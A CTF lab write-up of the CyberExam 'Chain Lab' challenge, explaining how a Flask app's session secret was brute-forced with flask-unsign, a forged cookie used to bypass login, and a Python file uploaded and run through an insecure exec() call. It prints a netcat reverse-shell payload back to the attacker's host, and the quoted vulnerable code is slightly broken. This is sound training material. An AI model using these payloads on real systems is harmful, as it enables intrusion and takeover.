Post Image

Flask Authentication Bypass & RCE Exploitation – Chain Lab Writeup

02 Dec 2024   |   ALI İLTIZAR   |   Reading Time: 4 min   |   Views: 160   |   Updated: 08 Dec 2024

In this post, we’ll take a deep dive into the Chain Lab challenge on CyberExam. The challenge focuses on exploiting authentication and file upload vulnerabilities within a Flask-based web application, ultimately leading to remote code execution (RCE). We’ll walk through the steps of bypassing authentication, uploading a reverse shell payload, and executing it to gain full control over the system.

Challenge Overview

Link to the challenge: Chain Lab

PoC Code: chain-lab-flask-exploit

1. Discovering the Target System

The initial step in the exploitation process was network reconnaissance to identify active hosts and open ports. We used nmap to scan the local network (10.0.3.0/24) and discovered the target system running a service on port 1234:

└─$ nmap 10.0.3.0/24

The scan revealed the target system at 10.0.3.13 with port 1234 open, running a service identified as hotline.

Next, we sent a request to the application running on port 1234 and received an Access Denied response. Along with the response, we were provided with a session cookie:

eyJsb2dnZWRfaW4iOmZhbHNlfQ.Z02yxA.H-8cTpzeD5zOaU3ovYCQmlrmZRo

This session cookie indicated the need for further inspection, and it became our focus for the next steps.

2. Identifying Flask Application Using WhatWeb

To further analyze the target, we used WhatWeb, a tool for identifying web technologies, which confirmed that the web application was built with Flask. This gave us insight into the potential vulnerability of the application, specifically related to how Flask handles session cookies.

└─$ whatweb http://10.0.3.13:1234/
 

The output confirmed the application was using Werkzeug, a WSGI utility library that Flask relies on, and Python 3.8.20, which led us to suspect that Flask's insecure cookie handling might be exploitable.

3. Exploiting the Flask Cookie

Flask uses signed cookies to store session data on the client side. These cookies are signed using a secret key, which, if compromised, allows an attacker to modify session data and potentially bypass authentication mechanisms. We used the flask-unsign tool to unsign the session cookie and brute-force the secret key.

pip3 install flask-unsign

┌──(user㉿cyberexam)-[~] └─$
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie --no-literal-eval 

After several attempts, the secret key s******** was found. With this key, we were able to re-sign the cookie and modify the session state:

 
┌──(user㉿cyberexam)-[~] └─$
flask-unsign --sign --cookie "{'logged_in': True}" --secret s*******
 

This allowed us to authenticate as a logged-in user, bypassing the application’s authentication process.

4. Upload Vulnerability: File Upload and Execution

After gaining access, we discovered a file upload functionality. The application only allowed certain file types: txt, pdf, png, jpg, jpeg and gif.

Once the file was uploaded, we tested for its existence by sending a GET request to access the file. The application returned a FileNotFoundError, revealing that the application was running with debugging enabled and showing the full error stack trace.

 
FileNotFoundError: [Errno 2] No such file or directory: '/app/uploads/filenotfoun.txt'

Upon reviewing the code, we identified the vulnerable uploads function, which allowed arbitrary file execution via exec() if the file existed. The code was as follows:

 
def uploads(file):
    file_path = f'{UPLOAD_FOLDER}/{file}'
    if request.method == "GET":
        if Path(path).exists():
            with open(file_path, 'rb') as f:
            readed_file = f.read()
            resp = Response(readed_file)
            resp.headers['Content-Type'] = "image/png; charset=utf-8"
        try:
            exec(readed_file)


Using this vulnerability, we triggered the execution of the uploaded Python file, resulting in a reverse shell connection to our machine.

We bypassed this restriction by uploading a Python file (iltosec_rce.txt.py) as part of a crafted payload. 

POST / HTTP/1.1 Host: 10.0.3.13:1234
Content-Type: multipart/form-data; boundary=---------------------------1671807212427207444426948331
Content-Length: 280
... 

Content-Disposition: form-data; name="file"; filename="iltosec_rce.txt.py"
Content-Type: text/x-python

import os
os.system("nc 10.0.3.2 4848 -e /bin/sh") 

This Python file contained a reverse shell payload, which would connect back to our machine (10.0.3.2) on port 4848.

5. Triggering Remote Code Execution (RCE) & Gaining Remote Shell Access

We successfully executed the reverse shell by accessing the uploaded Python file:

 
GET /uploads/iltosec_rce.txt.py HTTP/1.1 Host: 10.0.3.13:1234 ...

The reverse shell connected back to our listener on port 4848, providing us with a shell on the target system.

Conclusion

By exploiting a Flask cookie vulnerability and combining it with insecure file upload functionality, we were able to gain remote code execution (RCE) on the target system. The key steps included:

  1. Identifying the vulnerable Flask application.
  2. Brute-forcing the secret key for cookie tampering.
  3. Exploiting the file upload feature to upload a reverse shell payload.
  4. Triggering remote code execution via an insecure exec() call.

This vulnerability highlights the importance of securely handling session cookies, properly validating user-uploaded files, and avoiding the use of insecure functions like exec() in production code.

References

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask

Comments